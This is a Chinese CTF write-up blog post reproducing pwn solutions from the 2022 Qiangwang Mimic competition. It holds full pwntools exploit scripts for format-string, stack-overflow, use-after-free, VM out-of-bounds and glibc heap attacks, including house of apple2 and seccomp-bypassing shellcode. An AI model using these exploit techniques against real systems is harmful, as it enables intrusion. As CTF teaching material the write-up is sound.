2022强网拟态pwn wp

2022强网拟态pwn wp

这次比赛本人并没有参加,然后听说这次比赛比较简单,所以最近抽时间复现一波。由于本人web不太好,也并未涉及过webpwn,遂只复现mimic以及vm和两道堆题。

附件下载链接:https://pan.baidu.com/s/1y0DgYT2BexG0JP4SxTTCXQ

提取码:game

mimic

pwn1

利用格式化字符串泄漏canary,然后覆盖返回地址即可。

#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn1'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 0
if debug:
    p = remote('node4.buuoj.cn', 28641)

else:
    p = process(fn)

p.sendlineafter(b"try something", '1')
p.recvuntil(b"some tricks\n")

codebase = int(p.recv(14), 16) - 0xa94
log.success("codebase: " + hex(codebase))

pop_rdi_ret = codebase + 0xc73
binsh = codebase + 0x202068
system_plt = codebase + 0xa2c

p.sendline('2')

# gdb.attach(p)
# pause()

p.recvuntil(b"hello")
p.send("%33$p")

p.recvuntil('0x')
canary = int(p.recv(16), 16)
log.success("canary: " + hex(canary))

payload = b'\x00' * 0xc8 + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(binsh) + p64(system_plt)
p.sendline(payload)

p.interactive()

pwn1-1

这个题算是上题的升级版,拖入IDA,看着挺恶心人的。直接运行一下,发现与上题类似。然后直接使用上题的exp试试,进行调试,发现大差不差,也是格式化字符串漏洞与栈溢出漏洞,却没有canary,但要求rbp附近地址必须合法。所以,利用格式化字符串泄漏rbp,然后覆盖返回地址。

#! /usr/bin/ python 
# -*- coding: utf-8 -*- 

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn1-1'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 0
if debug:
    p = remote('node4.buuoj.cn', 28641)

else:
    p = process(fn)


p.sendlineafter(b"try something", '1')
p.recvuntil(b"some tricks\n")

codebase = int(p.recv(14), 16) - 0x12a0
log.success("codebase: " + hex(codebase))

pop_rdi_ret = codebase + 0x1943
binsh = codebase + 0x4050
system_plt = codebase + 0x11a2

p.sendline('2')

# gdb.attach(p)
# pause()

p.recvuntil(b"hello")

payload = b'%38$p'
p.sendline(payload)

p.recvuntil('0x')
rbp = int(p.recv(12), 16)
log.success("rbp: " + hex(rbp))

payload = b'b' * 0x10 + b'a' * 0x90 + p64(rbp) * 11 + p64(pop_rdi_ret) + p64(binsh) + p64(system_plt)
p.send(payload)


p.interactive()

pwn1-2

uaf漏洞。tips可以泄漏codebase,然后利用uaf漏洞,控制堆块控制块,覆盖chunk1打印函数为backdoor,最后show(1)即可。

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn2-1'
elf = ELF(fn)
# libc = ELF('./libc.so.6')

codebase = 0

debug = 0
if debug:
    p = remote()
else:
    p = process(fn)

def menu(index):
    p.sendlineafter('Your choice :', str(index))


def add(size, content):
    menu(1)
    p.sendlineafter('Note size :', str(size))
    p.sendafter('Content :', content)


def show(index):
    menu(3)
    p.sendlineafter('Index :', str(index))


def delete(index):
    menu(2)
    p.sendlineafter('Index :', str(index))


def tips():
    global codebase
    menu('5')

    p.recvuntil('0x')
    codebase = int(p.recv(12), 16) - 0x11f0
    log.success('codebase: ' + hex(codebase))


tips()

magic = codebase + 0x1b70

add(0x40, 'l1s00t')
add(0x40, 'l1s00t')
add(0x40, 'l1s00t')

delete(1)
delete(0)

add(0x10, p64(magic))

show(1)

p.interactive()

PWN

bfbf

这是一道vmpwn,不过比一般的vm好逆多了。。开了沙盒。使用seccomp-tools查看保护。

在这里插入图片描述

值得一提的是,这里对read的第一个参数做出了限制,可以先close(0),然后再打开flag。

在这里插入图片描述

这里面并没有对i做出限制,存在数组越界,可以任意地址读,任意地址写。

很容易想到,泄漏栈上libc地址,然后覆盖返回地址为rop链。

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 0
if debug:
    p = remote()
else:
    p = process(fn)


payload = b'>' * 0x228
payload += b'.>' * 8
payload += b'>' * 8
payload += b'.>' * 8
payload += b'<' * 0x28
payload += b',>' * 0xf0
payload += b'flag\x00\x00\x00\x00'

p.recvuntil('BF_PARSER>>\n')

# gdb.attach(p, 'b *$rebase(0x18cc)')
# pause()

p.send(payload)

heapbase = u64(p.recv(8))
log.success('heapbase: ' + hex(heapbase))

leak = u64(p.recv(8))
log.success('leak: ' + hex(leak))

libc_base = leak - 243 - libc.sym['__libc_start_main']
log.success('libc_base: ' + hex(libc_base))

pop_rax_ret = libc_base + 0x0000000000036174
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
syscall_ret = libc_base + 0x00000000000630a9

free_hook = libc_base + libc.sym['__free_hook']

data = free_hook - 0x8
flag_addr = heapbase + 0x458

rop_data = [
    pop_rax_ret,    # close(0)
    3,
    pop_rdi_ret,
    0,
    syscall_ret,

    pop_rax_ret,  # sys_open('flag', 0)
    2,
    pop_rdi_ret,
    flag_addr,
    pop_rsi_ret,
    0,
    syscall_ret,

    pop_rax_ret,  # sys_read(flag_fd, heap, 0x100)
    0,
    pop_rdi_ret,
    0,
    pop_rsi_ret,
    data,
    pop_rdx_ret,
    0x40,
    syscall_ret,

    pop_rax_ret,  # sys_write(1, heap, 0x100)
    1,
    pop_rdi_ret,
    1,
    pop_rsi_ret,
    data,
    pop_rdx_ret,
    0x40,
    syscall_ret
]

payload = flat(rop_data)

p.send(payload)

p.interactive()

附上打通截图。

在这里插入图片描述

only

典型的菜单堆题,开了沙盒。

在这里插入图片描述

这里需要注意的是,本题的沙盒是使用seccomp函数实现的,所以会遗留大量的bins。

分析题目可知,只有一个chunk,没有show,且只能delete4次。从申请堆块大小,以及删除次数这里很容易想到劫持tcache结构体实现任意分配。从没有show功能这里可以想到劫持_IO_2_1_stdout_,泄漏libc地址。这里主要的难点是只有一个chunk,需要悉心布置好堆风水。

利用手法:

  1. 通过add先申请一个chunk,再delete,然后调用init函数,清空tcache key,构造double free。
  2. 覆盖next指针为tcache struct,这里需要爆破1位,有1/16概率。
  3. 控制0x290大小的tcache count为7,然后delete,从而将tcache struct放入unsorted bin。
  4. 切割unsorted bin,并控制好tchche中保存count的字节,使unsorted bin的fd放入到存放tcache链的地址,然后再次切割,修改该fd为IO_2_1_stdout,这里也需要爆破一位,有1/16的概率。
  5. 覆盖free_hook为setcontext + 61,从而执行orw。

这里需要注意的是,由于本题无法泄漏堆地址,所以本人这里在libc上写orw,这里是在free_hook - 8的上布置。

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

fn = './only'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 0
if debug:
    p = remote()
else:
    p = process(fn)


malloc_hook = 0
free_hook = 0
binsh = 0
system = 0
execve = 0
setcontext = 0
_open = 0
read = 0
write = 0
_IO_helper_jumps = 0
_IO_file_jumps = 0
_IO_wfile_jumps = 0

def get_gadgets(libc_base):
    global malloc_hook, free_hook, binsh, system, execve, setcontext, _open, read, write, _IO_helper_jumps, _IO_file_jumps, _IO_wfile_jumps 
    binsh = libc_base + libc.search(b'/bin/sh').__next__()
    system = libc_base + libc.sym['system']
    execve = libc_base + libc.sym['execve']
    setcontext = libc_base + libc.sym['setcontext']
    free_hook = libc_base + libc.sym['__free_hook']
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    _open = libc_base + libc.sym['open']
    read = libc_base + libc.sym['read']
    write = libc_base + libc.sym['write']
    _IO_file_jumps = libc_base
    _IO_wfile_jumps = libc_base
    _IO_helper_jumps = libc_base 
    log.success('malloc_hook: ' + hex(malloc_hook))
    log.success('free_hook: ' + hex(free_hook))
    log.success('binsh: ' + hex(binsh))
    log.success('system: ' + hex(system))
    log.success('execve: ' + hex(execve))
    log.success('setcontext: ' + hex(setcontext))

def menu(index):
    p.sendlineafter('Choice >> ', str(index))


def init():
    menu(0)


def add(size, content):
    menu(1)
    p.sendlineafter('Size:', str(size))
    p.sendlineafter('Content:', content)


def delete():
    menu(2)

def attack():
    add(0xe0, 'l1s00t')     # 0
    delete()

    init()
    delete()	

    add(0xe0, p16(0x9010))  # 1
    add(0xe0, 'l1s00t') # 2

    payload = p64(0) * 3 + p16(0x1) * 2 + p16(0) * 2 + p64(0) * 5 + p16(0x7) * 4
    add(0xe0, payload)  # 3

    delete()

    # 切割 unsortedbin
    add(0x90, p16(0x7) + p16(0) * 3)    # 4
    add(0x30, p16(0xb6a0))  # 5

    payload = p64(0xfbad1800) + p64(0) * 3 + b'\x00'
    add(0x50, payload)  # 6

    leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    log.success('leak: ' + hex(leak))

    libc_base = leak - 0x1ec980
    log.success('libc_base: ' + hex(libc_base))

    get_gadgets(libc_base)

    pop_rax_ret = libc_base + 0x0000000000036174
    pop_rdi_ret = libc_base + 0x0000000000023b6a
    pop_rsi_ret = libc_base + 0x000000000002601f
    pop_rdx_ret = libc_base + 0x0000000000142c92
    syscall_ret = libc_base + 0x00000000000630a9

    # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
    magic = libc_base + 0x0000000000151990

    add(0x80, p64(free_hook))   # 7

    flag_addr = free_hook + 0x10
    data = free_hook - 0x8 - 0x100

    payload = flat({
    
    
        0: magic,
        0x10: b'flag\x00\x00\x00\x00',
        0x20: setcontext + 61,
        0x28:{
    
    
            0:[
                pop_rdi_ret,
                flag_addr,
                pop_rsi_ret,
                0,
                _open,

                pop_rdi_ret,
                3,
                pop_rsi_ret,
                data + 0x100,
                pop_rdx_ret,
                0x40,
                read,

                pop_rdi_ret,
                1,
                write,
            ],
        },
        0xa0: free_hook + 0x28,
        0xa8: pop_rdi_ret + 1,
    })

    add(0xd0, payload)  # 8

    add(0xd0, 'l1s00t')   # clean unsortedbin 9

    payload = p64(0) + p64(free_hook)
    add(0xd0, payload)  # 10

    delete()

    p.interactive()


if __name__ == '__main__':
    n = 0
    while True:
        try:
            p = process(fn)
            # p = remote('node4.buuoj.cn', 25315)
            attack()
            break

        except:
            p.close()
            continue

附上打通截图。

在这里插入图片描述

store

依然是典型的堆菜单题,开了沙盒。

在这里插入图片描述

该沙盒对32位与64位均作出了检测。64位下没有open函数,但是fstat的系统调用号是5,而32位下open系统调用号也是5,从而我们可以再32位下调用open函数。

分析题目可知,堆块大小0x1000以内,只能对申请的前两个堆块进行show与delete,存在uaf漏洞。本来是考虑使用tcache进行任意地址申请,但是苦于没办法泄漏地址。所以最终使用largebin attack,但是仅能利用一次。由只有一次的largebin attack可以联想到house of apple2。由此,利用手法逐渐明朗化。

利用手法:

  1. 申请两个large bin范围的chunk,泄漏heapbase与libcbase
  2. 构造largebin attack覆盖_IO_list_all为chunk
  3. 伪造_IO_FILE,通过exit执行house of apple2的调用链
  4. 调用mprotect并执行shellcode获取flag
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './store'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 0
if debug:
    p = remote()
else:
    p = process(fn)


malloc_hook = 0
free_hook = 0
binsh = 0
system = 0
execve = 0
setcontext = 0
mprotect = 0
_open = 0
read = 0
write = 0
_IO_list_all = 0
_IO_stdfile_2_lock = 0
_IO_file_jumps = 0
_IO_wfile_jumps = 0

def get_gadgets(libc_base):
    global malloc_hook, free_hook, binsh, system, execve, setcontext, _open, read, write, mprotect, _IO_list_all
    global _IO_stdfile_2_lock, _IO_file_jumps, _IO_wfile_jumps

    binsh = libc_base + libc.search(b'/bin/sh').__next__()
    system = libc_base + libc.sym['system']
    execve = libc_base + libc.sym['execve']
    setcontext = libc_base + libc.sym['setcontext']
    mprotect = libc_base + libc.sym['mprotect']
    free_hook = libc_base + libc.sym['__free_hook']
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    _open = libc_base + libc.sym['open']
    read = libc_base + libc.sym['read']
    write = libc_base + libc.sym['write']
    _IO_list_all = libc_base + libc.sym['_IO_list_all']
    _IO_stdfile_2_lock = libc_base + 0x1ee7d0
    _IO_file_jumps = libc_base + 0x1e94a0
    _IO_wfile_jumps = libc_base + 0x1e8f60
    log.success('malloc_hook: ' + hex(malloc_hook))
    log.success('free_hook: ' + hex(free_hook))
    log.success('binsh: ' + hex(binsh))
    log.success('system: ' + hex(system))
    log.success('execve: ' + hex(execve))
    log.success('setcontext: ' + hex(setcontext))

def menu(index):
    p.sendlineafter('choice: ', str(index))


def init():
    menu(0)


def add2(size):
    menu(1)
    p.sendlineafter('Size: ', str(size))


def add(size, content, remark):
    menu(1)
    p.sendlineafter('Size: ', str(size))
    p.sendlineafter('Content: ', content)
    p.sendlineafter('Remark: ', remark)


def delete(index):
    menu(2)
    p.sendlineafter('Index: ', str(index))


def edit(size, content, remark):
    menu(3)
    p.sendlineafter('Index: ', str(size))
    p.sendafter('Content: ', content)
    p.sendafter('Remark: ', remark)


def show(index):
    menu(4)
    p.sendlineafter('Index: ', str(index))

def _exit():
    menu(5)


add(0x420, 'l1s00t', 'l1s00t')  # 0
add(0x410, 'l1s00t', 'l1s00t')  # 1

delete(0)

add2(0x440)

show(0)

leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('leak: ' + hex(leak))

libc_base = leak - 0x1ecfd0
log.success('libc_base: ' + hex(libc_base))

get_gadgets(libc_base)

pop_rdi_ret = 0x0000000000023b6a + libc_base
pop_rax_ret = 0x0000000000036174 + libc_base
pop_rsi_ret = 0x000000000002601f + libc_base
pop_rdx_ret = 0x0000000000142c92 + libc_base
syscall_ret = 0x00000000000630a9 + libc_base

edit(0, 'a' * 16, 'l1s00t')
show(0)

p.recvuntil('a' * 16)
heapbase = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00')) - 0x290
log.success('heapbase: ' + hex(heapbase))

edit(0, p64(leak) * 2, 'l1s00t')

delete(1)

edit(0, p64(leak) * 2 + p64(heapbase + 0x290) + p64(_IO_list_all - 0x20), 'l1s00t')

add2(0x440)

payload = b''

fake_IO_file_addr = heapbase + 0xaf0

fake_IO_file = p64(0) * 3 + p64(1)	# _IO_write_ptr = 1 > _IO_write_end = 0
fake_IO_file = fake_IO_file.ljust(0x78, b'\x00')
fake_IO_file += p64(_IO_stdfile_2_lock)
fake_IO_file = fake_IO_file.ljust(0x90, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x110)	# _IO_wide_data 
fake_IO_file = fake_IO_file.ljust(0xc8, b'\x00')
fake_IO_file += p64(_IO_wfile_jumps)	# vtable
fake_IO_file = fake_IO_file.ljust(0x100, b'\x00')

fake_IO_file += p64(0) + p64(1) + p64(0)
fake_IO_file += p64(0) + p64(1)
fake_IO_file = fake_IO_file.ljust(0x168, b'\x00')	# _IO_write_base = _IO_buf_base = 0
fake_IO_file += p64(setcontext + 61)
fake_IO_file = fake_IO_file.ljust(0x1a0, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x210)	# rsp
fake_IO_file += p64(pop_rdi_ret + 1)	# rcx
fake_IO_file = fake_IO_file.ljust(0x1e0, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x110)	# wide_vtable

payload += fake_IO_file
payload += b'flag'.ljust(8, b'\x00')
payload = payload.ljust(0x200, b'\x00')

flag_addr = fake_IO_file_addr + 0x1f8
data = heapbase + 0xf10
shellcode_addr = fake_IO_file_addr + 0x300

mprotect = [
    pop_rax_ret,
    10,
    pop_rdi_ret,
    heapbase,
    pop_rsi_ret,
    0x1000,
    pop_rdx_ret,
    7,
    syscall_ret,
]

payload += flat(mprotect) + p64(shellcode_addr)

payload = payload.ljust(0x2f0, b'\x00')

shellcode = '''
mov rax, 192
mov rbx, 0x40404000
mov rcx, 0x1000
mov rdx, 7
mov rsi, 1048610
xor rdi, rdi
xor rbp, rbp
int 0x80

xor rax, rax
mov rdi, 0
mov rsi, 0x40404200
mov rdx, 0x20
syscall

mov rax, 5
mov rbx, 0x40404200
xor rcx, rcx
int 0x80

mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
xor rax, rax
syscall

mov rdi, 1
mov rax, 1
syscall
'''

payload += asm(shellcode, arch='amd64')

edit(1, payload, 'l1s00t')

# gdb.attach(p)
# pause()

_exit()

p.send('flag\x00\x00\x00\x00')

p.interactive()

附上打通截图。

在这里插入图片描述

注意:所用libc版本均为libc2.31-9.9。

猜你喜欢

转载自blog.csdn.net/weixin_51480590/article/details/127917289